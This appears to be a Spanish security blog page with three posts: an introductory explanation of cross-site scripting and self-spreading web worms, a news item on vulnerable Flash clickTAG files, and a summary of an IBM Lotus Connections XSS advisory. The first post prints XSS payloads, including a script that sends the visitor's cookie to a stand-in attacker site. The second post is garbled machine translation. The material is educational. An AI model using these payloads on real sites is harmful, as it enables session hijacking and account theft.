Antiguamente, los gusanos eran códigos maliciosos, preparados para extenderse rápidamente de sistema en sistema, mediante las redes p2p, el envío automatizado por correo, etc. Los gusanos eran programas informáticos, que al ejecutarlos, utilizaban tu ordenador para extenderse a muchos mas sistemas, sin que tu vieses absolutamente nada.

En la actualidad, con la extrema popularidad e importancia que tiene el mundo web, los gusanos han ido evolucionando, de forma que ha nacido un nuevo tipo de gusano, que no infecta tu ordenador, ni es un programa compilado que debes descargar, sino que es un pequeño fragmento de código javascript, que infecta tu perfil en alguna web.

Todo empezó con los agujeros de seguridad de tipo Cross Site Scripting (XSS), un tipo de agujero de seguridad, al que no se le presta tanta atención como a otros que a priori parecen mas peligrosos, como los Sql Injection, o similares, pero que es tanto o mas peligroso.

Pero para entender los web worms, debemos empezar desde muy al principio, desde las bases de los ataques tipo XSS. Un ataque XSS persigue, normalmente, robar la cookie del visitante. La cookie es una pequeña porción de información, que sirve para que la página web, recuerde que te has autenticado correctamente, y no te pida la contraseña cada vez que quieres hacer una acción.

Para robar la cookie, los ataques XSS se sirven de código javascript, ya que el código javascript se ejecuta en el navegador, tiene acceso a las cookies del mismo, sin embargo, por seguridad, un código javascript solo puede ver las cookies del sitio web que hospeda ese código javascript.

Es decir, si yo visito www.ejemplo.com, y esta web me envía un javascript que accede a las cookies, este javascript no podrá ver mis cookies de otras páginas web.

Y es en esa protección, en la que reside el peligro del Cross Site Scripting; imaginemos una página web que te pregunta tu nombre al entrar, tu lo introduces, y te muestra por pantalla: Hola! <nombreintroducido>. Si yo, en el nombre, introduzco:

<script>alert(document.cookie)</script>

Mi código javascript, podrá acceder a las cookies de esa página web, ya que el código javascript, el navegador, lo recibe a través de la web que me ha preguntado mi nombre.

¿Cual es el peligro real de todo esto?

Veamos un ejemplo ficticio, pero posible…Imaginemos que gmail tiene un error de seguridad, y permite introducir código javascript en el cuerpo de un mail, yo podría escribirte un mail que contubiese el siguiente código:

<script>document.location.href = ‘www.paginamaligna.com/recogercookie.php?cookie=’+document.cookie; </script>

Cuando tu abrieses el correo, el navegador te redirigiría hacía paginamaligna.com, pasándole por GET, tu cookie, a la cual hemos tenido acceso, ya que el javascript, para el navegador, procedía de gmail.

Una vez con tu cookie, borro mi cookie de gmail, y me pongo la tuya, ahora ya estoy autentificado en gmail, con tu nombre de usuario, y puedo leer tu correo.

Una vez entendido esto, entender los gusanos web (web worms) son fáciles de entender, imagina que yo estoy en una red social, y tengo un perfil público, en el cual hay un campo ‘intereses’, donde la gente pone lo que le gusta hacer. Si ese campo, permite introducir código HTML, sin filtrarlo, yo podría introducir:

<script>alert(document.cookie);</script>

Y cuando alguien visitase mi perfil, se mostrase su cookie. Si ahora en lugar de un alert, introduzco un código, que hace un petición POST a la red social, y modifica el perfil de la victima, introduciendo en el campo intereses, el mismo código malicioso que yo tengo, cada persona que entre, se le modificará automáticamente su perfil, y cada persona que vea ese perfil modificado, modificará automaticamente el suyo, y así sucesivamente.

En unas horas, todos los perfiles de una red social pueden estar modificados, es decir, infectados con el código.

Además, este código podría enviarle las cookies al autor original del código, mediante una petición invisible a alguna web (usando un iframe invisible, por ejemplo), de forma que no solo ha infectado todos los perfiles, sino que tiene todas las cookies, de todo el mundo, en la web.

Aunque todo esto suene rocambolesco, es una realidad, y ha sucedido ya en muchas ocasiones, siendo quizás la mas famosa, la de samy, un código javascript que infecto millones de perfiles en myspace, mediante un agujero de tipo XSS.

Como siempre, para protegerse de estos ataques, lo mejor es utilizar noscript, para firefox.

Via  rooibo.com

, , , , , , , ,

Un investigador de seguridad ha identificado más de 8 millones de archivos de Adobe Flash que hacen que el albergue de páginas web que les hace vulnerables a los ataques de que los visitantes de destino con código malicioso. Los archivos de Flash se encuentran en una amplia variedad de sitios operados por los casinos en línea, las organizaciones de noticias, los bancos, y equipos deportivos profesionales.

Ellos hacen las páginas en las que residen susceptible a XSS, o cross-site scripting, ataques que tienen el potencial de inyectar código malicioso y el contenido en el navegador de un usuario y en algunos casos, robar las credenciales utilizadas para autenticar cuentas de usuario. El investigador, que va por el apodo MustLive, dijo que los archivos Flash contienen mal escrito ActionScript usado para contar el número de veces que un banner se ha hecho clic y típicamente contienen la clickTAG o parámetros de URL.

De búsqueda de Google aquí y aquí identificado un total de más de 8,3 millones de ellos en los sitios alojados por el equipo de los Gigantes de Nueva York, el fútbol, y Praguepost.com ParadaisPoker.com. Debido a que los resultados de Google son a menudo abreviado, el número real es probablemente mayor.

Via Hackinthebox.org

, , ,

IBM ha confirmado una vulnerabilidad en IBM Lotus Connections 2.5.0.0, que podría permitir a un atacante ejecutar ataques de Cross Site Scripting.

IBM Lotus Connections es un software social específicamente diseñado para el entrono empresarial. Permite utilizar los conocimientos de la organización, socios y clientes al establecer de forma dinámica conexiones entre las personas, la experiencia que éstas tienen y las tareas que ejecutan.

El problema se debe a un error de validación de entradas en las páginas de “Actividades ” para móviles. Un atacante podría explotar este problema para lograr la ejecución de código script arbitrario en el navegador del usuario en el contexto de seguridad del sitio afectado.

Se recomienda aplicar el Interim Fix LO43637 disponible en este link

Más Información:

LO43637 Mobile: Mandatory iFix: XSS fixes for mobile Activities pages

Via Hispasec

, , , ,